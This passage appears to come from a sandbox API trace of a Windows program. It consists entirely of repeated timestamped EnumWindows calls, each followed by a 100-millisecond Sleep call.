(dwMilliseconds=0x64) [0303.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.054] Sleep (dwMilliseconds=0x64) [0303.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.056] Sleep (dwMilliseconds=0x64) [0303.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.057] Sleep (dwMilliseconds=0x64) [0303.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.059] Sleep (dwMilliseconds=0x64) [0303.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.061] Sleep (dwMilliseconds=0x64) [0303.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.063] Sleep (dwMilliseconds=0x64) [0303.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.065] Sleep (dwMilliseconds=0x64) [0303.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.066] Sleep (dwMilliseconds=0x64) [0303.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.068] Sleep (dwMilliseconds=0x64) [0303.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.070] Sleep (dwMilliseconds=0x64) [0303.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.074] Sleep (dwMilliseconds=0x64) [0303.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.076] Sleep (dwMilliseconds=0x64) [0303.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.078] Sleep (dwMilliseconds=0x64) [0303.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.080] Sleep (dwMilliseconds=0x64) [0303.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.081] Sleep (dwMilliseconds=0x64) [0303.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.085] Sleep (dwMilliseconds=0x64) [0303.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.086] Sleep (dwMilliseconds=0x64) [0303.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.088] Sleep (dwMilliseconds=0x64) [0303.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.090] Sleep (dwMilliseconds=0x64) [0303.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.092] Sleep (dwMilliseconds=0x64) [0303.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.093] Sleep (dwMilliseconds=0x64) [0303.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.095] Sleep (dwMilliseconds=0x64) [0303.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.096] Sleep (dwMilliseconds=0x64) [0303.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.098] Sleep (dwMilliseconds=0x64) [0303.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.100] Sleep (dwMilliseconds=0x64) [0303.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.102] Sleep (dwMilliseconds=0x64) [0303.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.103] Sleep (dwMilliseconds=0x64) [0303.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.105] Sleep (dwMilliseconds=0x64) [0303.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.106] Sleep (dwMilliseconds=0x64) [0303.108] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.108] Sleep (dwMilliseconds=0x64) [0303.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.110] Sleep (dwMilliseconds=0x64) [0303.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.112] Sleep (dwMilliseconds=0x64) [0303.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.115] Sleep (dwMilliseconds=0x64) [0303.117] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.117] Sleep (dwMilliseconds=0x64) [0303.119] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.119] Sleep (dwMilliseconds=0x64) [0303.121] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.121] Sleep (dwMilliseconds=0x64) [0303.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.122] Sleep (dwMilliseconds=0x64) [0303.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.124] Sleep (dwMilliseconds=0x64) [0303.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.125] Sleep (dwMilliseconds=0x64) [0303.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.127] Sleep (dwMilliseconds=0x64) [0303.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.128] Sleep (dwMilliseconds=0x64) [0303.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.130] Sleep (dwMilliseconds=0x64) [0303.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.131] Sleep (dwMilliseconds=0x64) [0303.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.133] Sleep (dwMilliseconds=0x64) [0303.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.134] Sleep (dwMilliseconds=0x64) [0303.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.136] Sleep (dwMilliseconds=0x64) [0303.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.138] Sleep (dwMilliseconds=0x64) [0303.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.139] Sleep (dwMilliseconds=0x64) [0303.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.141] Sleep (dwMilliseconds=0x64) [0303.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.142] Sleep (dwMilliseconds=0x64) [0303.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.144] Sleep (dwMilliseconds=0x64) [0303.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.145] Sleep (dwMilliseconds=0x64) [0303.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.147] Sleep (dwMilliseconds=0x64) [0303.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.148] Sleep (dwMilliseconds=0x64) [0303.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.150] Sleep (dwMilliseconds=0x64) [0303.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.151] Sleep (dwMilliseconds=0x64) [0303.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.153] Sleep (dwMilliseconds=0x64) [0303.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.156] Sleep (dwMilliseconds=0x64) [0303.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.158] Sleep (dwMilliseconds=0x64) [0303.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.160] Sleep (dwMilliseconds=0x64) [0303.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.162] Sleep (dwMilliseconds=0x64) [0303.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.163] Sleep (dwMilliseconds=0x64) [0303.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.165] Sleep (dwMilliseconds=0x64) [0303.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.167] Sleep (dwMilliseconds=0x64) [0303.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.168] Sleep (dwMilliseconds=0x64) [0303.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.170] Sleep (dwMilliseconds=0x64) [0303.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.172] Sleep (dwMilliseconds=0x64) [0303.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.174] Sleep (dwMilliseconds=0x64) [0303.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.176] Sleep (dwMilliseconds=0x64) [0303.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.178] Sleep (dwMilliseconds=0x64) [0303.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.180] Sleep (dwMilliseconds=0x64) [0303.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.182] Sleep (dwMilliseconds=0x64) [0303.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.185] Sleep (dwMilliseconds=0x64) [0303.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.187] Sleep (dwMilliseconds=0x64) [0303.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.189] Sleep (dwMilliseconds=0x64) [0303.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.191] Sleep (dwMilliseconds=0x64) [0303.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.193] Sleep (dwMilliseconds=0x64) [0303.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.195] Sleep (dwMilliseconds=0x64) [0303.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.200] Sleep (dwMilliseconds=0x64) [0303.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.202] Sleep (dwMilliseconds=0x64) [0303.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.204] Sleep (dwMilliseconds=0x64) [0303.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.206] Sleep (dwMilliseconds=0x64) [0303.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.208] Sleep (dwMilliseconds=0x64) [0303.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.210] Sleep (dwMilliseconds=0x64) [0303.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.212] Sleep (dwMilliseconds=0x64) [0303.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.214] Sleep (dwMilliseconds=0x64) [0303.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.216] Sleep (dwMilliseconds=0x64) [0303.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.218] Sleep (dwMilliseconds=0x64) [0303.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.220] Sleep (dwMilliseconds=0x64) [0303.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.223] Sleep (dwMilliseconds=0x64) [0303.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.224] Sleep (dwMilliseconds=0x64) [0303.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.227] Sleep (dwMilliseconds=0x64) [0303.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.228] Sleep (dwMilliseconds=0x64) [0303.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.231] Sleep (dwMilliseconds=0x64) [0303.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.233] Sleep (dwMilliseconds=0x64) [0303.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.235] Sleep (dwMilliseconds=0x64) [0303.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.237] Sleep (dwMilliseconds=0x64) [0303.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.240] Sleep (dwMilliseconds=0x64) [0303.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.244] Sleep (dwMilliseconds=0x64) [0303.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.246] Sleep (dwMilliseconds=0x64) [0303.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.248] Sleep (dwMilliseconds=0x64) [0303.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.250] Sleep (dwMilliseconds=0x64) [0303.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.252] Sleep (dwMilliseconds=0x64) [0303.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.254] Sleep (dwMilliseconds=0x64) [0303.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.256] Sleep (dwMilliseconds=0x64) [0303.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.258] Sleep (dwMilliseconds=0x64) [0303.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.259] Sleep (dwMilliseconds=0x64) [0303.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.261] Sleep (dwMilliseconds=0x64) [0303.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.263] Sleep (dwMilliseconds=0x64) [0303.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.265] Sleep (dwMilliseconds=0x64) [0303.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.296] Sleep (dwMilliseconds=0x64) [0303.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.298] Sleep (dwMilliseconds=0x64) [0303.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.318] Sleep (dwMilliseconds=0x64) [0303.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.319] Sleep (dwMilliseconds=0x64) [0303.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.321] Sleep (dwMilliseconds=0x64) [0303.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.323] Sleep (dwMilliseconds=0x64) [0303.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.324] Sleep (dwMilliseconds=0x64) [0303.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.326] Sleep (dwMilliseconds=0x64) [0303.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.328] Sleep (dwMilliseconds=0x64) [0303.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.329] Sleep (dwMilliseconds=0x64) [0303.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.331] Sleep (dwMilliseconds=0x64) [0303.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.332] Sleep (dwMilliseconds=0x64) [0303.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.335] Sleep (dwMilliseconds=0x64) [0303.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.338] Sleep (dwMilliseconds=0x64) [0303.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.339] Sleep (dwMilliseconds=0x64) [0303.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.342] Sleep (dwMilliseconds=0x64) [0303.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.344] Sleep (dwMilliseconds=0x64) [0303.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.436] Sleep (dwMilliseconds=0x64) [0303.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.438] Sleep (dwMilliseconds=0x64) [0303.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.439] Sleep (dwMilliseconds=0x64) [0303.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.441] Sleep (dwMilliseconds=0x64) [0303.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.444] Sleep (dwMilliseconds=0x64) [0303.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.446] Sleep (dwMilliseconds=0x64) [0303.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.448] Sleep (dwMilliseconds=0x64) [0303.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.450] Sleep (dwMilliseconds=0x64) [0303.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.452] Sleep (dwMilliseconds=0x64) [0303.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.454] Sleep (dwMilliseconds=0x64) [0303.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.456] Sleep (dwMilliseconds=0x64) [0303.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.458] Sleep (dwMilliseconds=0x64) [0303.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.460] Sleep (dwMilliseconds=0x64) [0303.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.461] Sleep (dwMilliseconds=0x64) [0303.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.463] Sleep (dwMilliseconds=0x64) [0303.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.465] Sleep (dwMilliseconds=0x64) [0303.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.476] Sleep (dwMilliseconds=0x64) [0303.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.478] Sleep (dwMilliseconds=0x64) [0303.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.480] Sleep (dwMilliseconds=0x64) [0303.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.481] Sleep (dwMilliseconds=0x64) [0303.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.483] Sleep (dwMilliseconds=0x64) [0303.484] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.484] Sleep (dwMilliseconds=0x64) [0303.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.487] Sleep (dwMilliseconds=0x64) [0303.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.493] Sleep (dwMilliseconds=0x64) [0303.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.494] Sleep (dwMilliseconds=0x64) [0303.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.497] Sleep (dwMilliseconds=0x64) [0303.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.499] Sleep (dwMilliseconds=0x64) [0303.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.501] Sleep (dwMilliseconds=0x64) [0303.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.502] Sleep (dwMilliseconds=0x64) [0303.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.504] Sleep (dwMilliseconds=0x64) [0303.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.506] Sleep (dwMilliseconds=0x64) [0303.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.507] Sleep (dwMilliseconds=0x64) [0303.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.509] Sleep (dwMilliseconds=0x64) [0303.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.511] Sleep (dwMilliseconds=0x64) [0303.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.513] Sleep (dwMilliseconds=0x64) [0303.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.515] Sleep (dwMilliseconds=0x64) [0303.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.518] Sleep (dwMilliseconds=0x64) [0303.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.520] Sleep (dwMilliseconds=0x64) [0303.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.522] Sleep (dwMilliseconds=0x64) [0303.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.523] Sleep (dwMilliseconds=0x64) [0303.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.525] Sleep (dwMilliseconds=0x64) [0303.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.526] Sleep (dwMilliseconds=0x64) [0303.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.528] Sleep (dwMilliseconds=0x64) [0303.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.567] Sleep (dwMilliseconds=0x64) [0303.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.600] Sleep (dwMilliseconds=0x64) [0303.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.602] Sleep (dwMilliseconds=0x64) [0303.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.604] Sleep (dwMilliseconds=0x64) [0303.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.608] Sleep (dwMilliseconds=0x64) [0303.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.610] Sleep (dwMilliseconds=0x64) [0303.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.612] Sleep (dwMilliseconds=0x64) [0303.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.614] Sleep (dwMilliseconds=0x64) [0303.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.616] Sleep (dwMilliseconds=0x64) [0303.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.618] Sleep (dwMilliseconds=0x64) [0303.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.620] Sleep (dwMilliseconds=0x64) [0303.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.622] Sleep (dwMilliseconds=0x64) [0303.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.624] Sleep (dwMilliseconds=0x64) [0303.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.626] Sleep (dwMilliseconds=0x64) [0303.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.627] Sleep (dwMilliseconds=0x64) [0303.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.629] Sleep (dwMilliseconds=0x64) [0303.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.702] Sleep (dwMilliseconds=0x64) [0303.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.740] Sleep (dwMilliseconds=0x64) [0303.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.743] Sleep (dwMilliseconds=0x64) [0303.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.746] Sleep (dwMilliseconds=0x64) [0303.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.747] Sleep (dwMilliseconds=0x64) [0303.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.749] Sleep (dwMilliseconds=0x64) [0303.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.751] Sleep (dwMilliseconds=0x64) [0303.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.753] Sleep (dwMilliseconds=0x64) [0303.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.755] Sleep (dwMilliseconds=0x64) [0303.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.757] Sleep (dwMilliseconds=0x64) [0303.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.759] Sleep (dwMilliseconds=0x64) [0303.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.761] Sleep (dwMilliseconds=0x64) [0303.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.763] Sleep (dwMilliseconds=0x64) [0303.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.779] Sleep (dwMilliseconds=0x64) [0303.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.856] Sleep (dwMilliseconds=0x64) [0303.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.896] Sleep (dwMilliseconds=0x64) [0303.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.898] Sleep (dwMilliseconds=0x64) [0303.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.900] Sleep (dwMilliseconds=0x64) [0303.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.903] Sleep (dwMilliseconds=0x64) [0303.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.905] Sleep (dwMilliseconds=0x64) [0303.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.907] Sleep (dwMilliseconds=0x64) [0303.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.909] Sleep (dwMilliseconds=0x64) [0303.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.911] Sleep (dwMilliseconds=0x64) [0303.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.913] Sleep (dwMilliseconds=0x64) [0303.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.914] Sleep (dwMilliseconds=0x64) [0303.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.916] Sleep (dwMilliseconds=0x64) [0303.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.918] Sleep (dwMilliseconds=0x64) [0303.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.920] Sleep (dwMilliseconds=0x64) [0303.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.922] Sleep (dwMilliseconds=0x64) [0303.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0303.939] Sleep (dwMilliseconds=0x64) [0304.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.012] Sleep (dwMilliseconds=0x64) [0304.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.055] Sleep (dwMilliseconds=0x64) [0304.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.057] Sleep (dwMilliseconds=0x64) [0304.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.068] Sleep (dwMilliseconds=0x64) [0304.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.069] Sleep (dwMilliseconds=0x64) [0304.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.074] Sleep (dwMilliseconds=0x64) [0304.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.076] Sleep (dwMilliseconds=0x64) [0304.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.078] Sleep (dwMilliseconds=0x64) [0304.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.079] Sleep (dwMilliseconds=0x64) [0304.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.081] Sleep (dwMilliseconds=0x64) [0304.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.082] Sleep (dwMilliseconds=0x64) [0304.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.084] Sleep (dwMilliseconds=0x64) [0304.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.134] Sleep (dwMilliseconds=0x64) [0304.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.199] Sleep (dwMilliseconds=0x64) [0304.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.201] Sleep (dwMilliseconds=0x64) [0304.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.203] Sleep (dwMilliseconds=0x64) [0304.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.205] Sleep (dwMilliseconds=0x64) [0304.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.207] Sleep (dwMilliseconds=0x64) [0304.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.209] Sleep (dwMilliseconds=0x64) [0304.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.210] Sleep (dwMilliseconds=0x64) [0304.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.212] Sleep (dwMilliseconds=0x64) [0304.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.216] Sleep (dwMilliseconds=0x64) [0304.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.225] Sleep (dwMilliseconds=0x64) [0304.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.234] Sleep (dwMilliseconds=0x64) [0304.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0304.256] Sleep (dwMilliseconds=0x64) [0304.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 